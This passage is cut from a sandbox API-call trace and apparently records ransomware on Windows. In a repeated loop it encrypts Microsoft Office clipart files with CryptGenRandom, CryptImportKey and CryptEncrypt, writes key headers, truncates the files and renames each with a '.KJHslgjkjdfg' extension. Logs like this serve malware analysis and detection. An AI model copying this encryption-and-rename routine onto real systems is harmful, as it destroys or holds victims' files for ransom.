(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.kjhslgjkjdfg")) returned 1 [0204.323] CloseHandle (hObject=0x130) returned 1 [0204.323] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070c700, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9070c700, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00042_.WMF", cAlternateFileName="")) returned 1 [0204.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.324] GetProcessHeap () returned 0x990000 [0204.324] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.324] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.325] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0204.330] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.330] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.330] GetProcessHeap () returned 0x990000 [0204.330] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.330] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.330] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.330] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.330] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.330] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.330] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.331] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.331] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.331] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.331] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5044, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5044, lpOverlapped=0x0) returned 1 [0204.332] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5050, dwBufLen=0x5050 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5050) returned 1 [0204.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.332] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5050, lpOverlapped=0x0) returned 1 [0204.333] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.333] SetEndOfFile (hFile=0x130) returned 1 [0204.336] GetProcessHeap () returned 0x990000 [0204.336] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.336] GetProcessHeap () returned 0x990000 [0204.336] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf.kjhslgjkjdfg")) returned 1 [0204.337] CloseHandle (hObject=0x130) returned 1 [0204.337] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b49b100, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b49b100, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2a42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00057_.WMF", cAlternateFileName="")) returned 1 [0204.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.338] GetProcessHeap () returned 0x990000 [0204.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.338] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.338] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.339] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0204.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.341] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.341] GetProcessHeap () returned 0x990000 [0204.341] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.341] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.341] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.341] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.341] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.341] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.341] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.342] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.342] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.342] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.342] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a42, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a42, lpOverlapped=0x0) returned 1 [0204.343] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a50) returned 1 [0204.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.343] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2a50, lpOverlapped=0x0) returned 1 [0204.343] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.343] SetEndOfFile (hFile=0x130) returned 1 [0204.346] GetProcessHeap () returned 0x990000 [0204.346] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.346] GetProcessHeap () returned 0x990000 [0204.346] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.346] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf.kjhslgjkjdfg")) returned 1 [0204.356] CloseHandle (hObject=0x130) returned 1 [0204.356] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c04900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c04900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00058_.WMF", cAlternateFileName="")) returned 1 [0204.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.357] GetProcessHeap () returned 0x990000 [0204.357] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.357] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.357] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0204.359] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.359] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.359] GetProcessHeap () returned 0x990000 [0204.359] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.359] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.359] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.360] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.360] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.360] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.360] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.360] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.360] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.360] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.360] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xeaa, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xeaa, lpOverlapped=0x0) returned 1 [0204.360] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xeb0) returned 1 [0204.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.361] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xeb0, lpOverlapped=0x0) returned 1 [0204.361] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.361] SetEndOfFile (hFile=0x130) returned 1 [0204.364] GetProcessHeap () returned 0x990000 [0204.364] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.364] GetProcessHeap () returned 0x990000 [0204.364] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf.kjhslgjkjdfg")) returned 1 [0204.365] CloseHandle (hObject=0x130) returned 1 [0204.365] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfdad700, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfdad700, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x1324, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00068_.WMF", cAlternateFileName="")) returned 1 [0204.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.367] GetProcessHeap () returned 0x990000 [0204.367] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.367] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.367] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0204.378] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.378] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.378] GetProcessHeap () returned 0x990000 [0204.378] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.378] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.378] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.378] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.378] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.378] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.378] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.379] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.379] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.379] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.379] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.379] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1324, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1324, lpOverlapped=0x0) returned 1 [0204.380] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1330, dwBufLen=0x1330 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1330) returned 1 [0204.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.380] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1330, lpOverlapped=0x0) returned 1 [0204.380] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.380] SetEndOfFile (hFile=0x130) returned 1 [0204.383] GetProcessHeap () returned 0x990000 [0204.383] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.383] GetProcessHeap () returned 0x990000 [0204.383] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf.kjhslgjkjdfg")) returned 1 [0204.385] CloseHandle (hObject=0x130) returned 1 [0204.385] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99589d00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99589d00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00238_.WMF", cAlternateFileName="")) returned 1 [0204.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.386] GetProcessHeap () returned 0x990000 [0204.386] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.386] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 